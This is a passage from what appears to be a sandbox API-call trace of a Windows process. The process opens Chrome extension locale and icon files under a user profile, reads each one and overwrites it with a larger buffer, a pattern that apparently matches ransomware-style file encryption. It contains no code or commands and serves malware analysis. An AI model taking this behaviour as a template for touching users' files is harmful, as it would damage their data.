lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x354f2bc*=0x159, lpOverlapped=0x0) returned 1 [0050.541] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.541] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e1, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6e1, lpOverlapped=0x0) returned 1 [0050.541] CloseHandle (hObject=0x1a8) returned 1 [0050.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.542] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.542] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xf2 [0050.542] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.542] ReleaseMutex (hMutex=0x128) returned 1 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.542] ReadFile (in: hFile=0x1a8, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x354f2bc*=0xf2, lpOverlapped=0x0) returned 1 [0050.543] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.543] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67a, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x67a, lpOverlapped=0x0) returned 1 [0050.543] CloseHandle (hObject=0x1a8) returned 1 [0050.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.544] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.544] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xfd [0050.544] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.544] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.544] ReleaseMutex (hMutex=0x128) returned 1 [0050.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.544] ReadFile (in: hFile=0x1a8, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x354f2bc*=0xfd, lpOverlapped=0x0) returned 1 [0050.548] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.548] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x685, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x685, lpOverlapped=0x0) returned 1 [0050.549] CloseHandle (hObject=0x1a8) returned 1 [0050.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.549] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.549] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb3 [0050.549] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.549] ReleaseMutex (hMutex=0x128) returned 1 [0050.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.550] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x354f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.550] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.550] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.551] CloseHandle (hObject=0x1a8) returned 1 [0050.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.551] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.551] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb3 [0050.551] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.551] ReleaseMutex (hMutex=0x128) returned 1 [0050.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.551] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x354f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.552] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.552] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.552] CloseHandle (hObject=0x1a8) returned 1 [0050.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.553] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.553] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb3 [0050.553] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.553] ReleaseMutex (hMutex=0x128) returned 1 [0050.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.553] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x354f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.554] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.554] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.554] CloseHandle (hObject=0x1a8) returned 1 [0050.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.555] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.555] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb3 [0050.555] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.555] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.555] ReleaseMutex (hMutex=0x128) returned 1 [0050.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.555] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x354f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.556] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.556] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.556] CloseHandle (hObject=0x1a8) returned 1 [0050.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.556] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.557] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd47 [0050.557] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.557] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.557] ReleaseMutex (hMutex=0x128) returned 1 [0050.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon_128.png", lpUsedDefaultChar=0x0) returned 12 [0050.557] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0xd47, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x354f2bc*=0xd47, lpOverlapped=0x0) returned 1 [0051.180] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.180] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x12cf, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x354f2d0*=0x12cf, lpOverlapped=0x0) returned 1 [0051.181] CloseHandle (hObject=0x1a8) returned 1 [0051.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xdc [0051.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.181] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.181] ReleaseMutex (hMutex=0x128) returned 1 [0051.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.182] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x354f2bc*=0xdc, lpOverlapped=0x0) returned 1 [0051.182] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.182] WriteFile (in: hFile=0x1a8, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x664, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x354f2d0*=0x664, lpOverlapped=0x0) returned 1 [0051.183] CloseHandle (hObject=0x1a8) returned 1 [0051.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.183] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.183] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xee [0051.183] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.183] ReleaseMutex (hMutex=0x128) returned 1 [0051.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.183] ReadFile (in: hFile=0x1a8, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xee, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x354f2bc*=0xee, lpOverlapped=0x0) returned 1 [0051.184] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.184] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x676, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x676, lpOverlapped=0x0) returned 1 [0051.185] CloseHandle (hObject=0x1a8) returned 1 [0051.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.185] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.185] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xdd [0051.185] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.185] ReleaseMutex (hMutex=0x128) returned 1 [0051.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.185] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x354f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0051.186] 